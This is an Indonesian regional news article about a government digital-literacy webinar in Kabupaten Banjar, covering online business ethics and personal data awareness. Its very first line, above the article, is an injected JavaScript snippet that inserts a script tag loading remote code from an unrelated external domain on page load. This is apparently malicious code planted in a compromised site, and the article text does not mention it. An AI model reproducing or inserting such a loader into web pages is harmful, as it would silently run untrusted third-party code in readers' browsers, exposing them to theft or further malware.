(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Webinar Literasi Digital Banjar, Pahami Dunia Digital dengan Berliterasi


KANALKALIMANTAN.COM, BANJARBARU – Perkembangan dunia digital telah menyasar ke segala sisi kehidupan. Saat ini, rasanya hampir tidak ada sisi kehidupan manusia yang tidak terpengaruh proses digitalisasi.

Namun, masih banyak pengguna internet yang hanya mampu menerima informasi tanpa kemampuan memahami dan mengolah informasi tersebut secara baik, sehingga masih banyak masyarakat terpapar oleh informasi yang tidak benar.

Menyikapi hal itu, Kementerian Komunikasi dan Informatika (Kominfo) menggelar seri webinar literasi digital #MakinCakapDigital dengan tajuk “Menjadi Netizen yang Cerdas di Mata Dunia”. Webinar yang digelar pada Selasa (13/72021) di Kabupaten Banjar, Kalimantan Selatan itu, diikuti oleh puluhan peserta secara daring.

Narasumber pertama adalah Alifta Kartiko yang mana dalam webinar tersebut ia membahas tentang Basic Knowledge dan Rules Usaha Online. Ia mengatakan, etika merupakan hal yang sangat penting dilakukan dalam sehari-hari terutama dalam berbisnis online.

 

 

“Mengapa pentingmya etika dalam berbisnis online? karena tidak mungkin anda dan konsumen akan bertatap muka secara langsung pada saat bertransaksi, sehingga dalam meyakinkan para konsumen, anda tentunya harus lebih memahami terlebih dahulu mengenai etika ini agar para konsumen senang terhadap pelayanan yang diberikan terhadapnya,” terangnya.

Hal tersebut, kata Alifta, akan membuat hubungan dengan konsumen menjadi lebih baik. Etika bisnis dapat dijadikan sebagai pedoman untuk anda yang telah menjalankan usaha bisnis.

“Dengan diterapkannya etika bisnis ini tentulah akan menambah nilai tambah ataupun keuntungan yang didapat dalam jangka waktu yang panjang,” ujar Alifta.

Selain itu, ia juga menjelaskan hal apa saja yang perlu diterapkan dalam etika bisnis ini sehingga dapat memberikan motivasi bagi seseorang yang menjalankan usaha bisnis agar dapat terciptanya keunggulan dalam bersaing. Adapun prinsip-prinsip dalam beretika bisnis adalah:
1. Jujur
2. Tanggung Jawab
3. Transparan
4. Profesional
5. Kepercayaan
6. Keadilan

Sementara itu narasumber kedua Dyan Nugraha dalam literasi digital kabupaten Banjar ini ia menjelaskan dan membahas tentang Bebas Terbatas.

Dyan menjelaskan bahwa karakteristik sosial media yang sangat aktual, informasinya yang hanya di permukaan, tak terbatas ruang, dan menjadi penghubung untuk semua informasi di dunia nyata.

Rata-rata penggunanya, sambung Dyan, adalah digital native (lahir dan besar di era digital), bukan digital urban (pernah dibesarkan di era media cetak lalu pindah ke era digital).

“Mereka hanya membaca informasi di dunia maya secara sekilas dan tidak membacanya secara utuh,” ucap Dyan.

Menurutnya literasi digital cenderung dipahami secara sempit yang terbatas pada penguasaan dalam penggunaan teknologi saja. Literasi digital semestinya juga meliputi aspek-aspek kritis lain seperti kesadaran data (data awareness), kemampuan analisis data, dan kemampuan untuk fokus (deep work).

Pertama, kesadaran data selama mengakses internet. Data menjadi sebuah komponen vital dalam setiap sistem aplikasi yang saling berinteraksi dan bertransaksi dalam dunia siber. Hanya dengan mendaftarkan diri ke sebuah platform, data kita akan secara otomatis disinkronisasikan ke dalam sistem.

Misalnya, ketika mensinkronkan aplikasi WhatsApp ke Facebook, Anda harus sadar telah mengizinkan segala data percakapan dari akun Anda untuk dapat diakses oleh kedua platform media sosial tersebut.

Walau pengguna akan mendapatkan beragam keuntungan dari proses sinkronisasi tadi, ada konsekuensi-konsekuensi lain yang harus dipertimbangkan. Misalnya, dengan memberikan nomor rekening bank pada suatu perusahaan niaga elektronik, maka kita telah memberi persetujuan kepada pemberi layanan untuk menarik transaksi atau berlangganan rutin sesuai dengan kesepakatan yang dibuat.

Hal ini berlaku pula pada data-data pribadi lain seperti nomor kartu tanda penduduk, nomor kepegawaian, alamat, dan kontak pribadi.

Tak dapat dipungkiri, digitalisasi mulai merambah ke berbagai aspek kehidupan, misalnya saja gawai yang sedang kita pakai sekarang. Akses informasi dan komunikasi kini bisa berlangsung tanpa memandang jarak dan waktu.

Hal-hal tak terbatas dan dapat dikatakan “bebas” dalam media digital tak hanya memberikan keuntungan, tapi juga memberikan ancaman. Apabila masyarakat tidak pandai mengelola digital, tidak mampu memilah dan mengolah informasi, serta kurang mampu menerapkan “Literasi”, berbagai ancaman pun muncul mulai dari perselisihan, ujaran kebencian, hingga penyebaran hoaks.

“Maka daripada itu keberliterasian dalam konteks ini bukan lagi sekedar urusan bagaimana suatu bangsa bebas dari buta aksara melainkan juga, dan yang lebih penting, bagaimana warga bangsa tersebut memiliki kecakapan hidup agar mampu bersaing dan bersanding dengan negara lain untuk menciptakan kesejahteraan dunia,” katanya. (Kanalkalimantan.com/shintia)

Editor: cell


Al Ghifari

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

9 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

9 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

12 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

14 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

15 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

17 jam ago

This website uses cookies.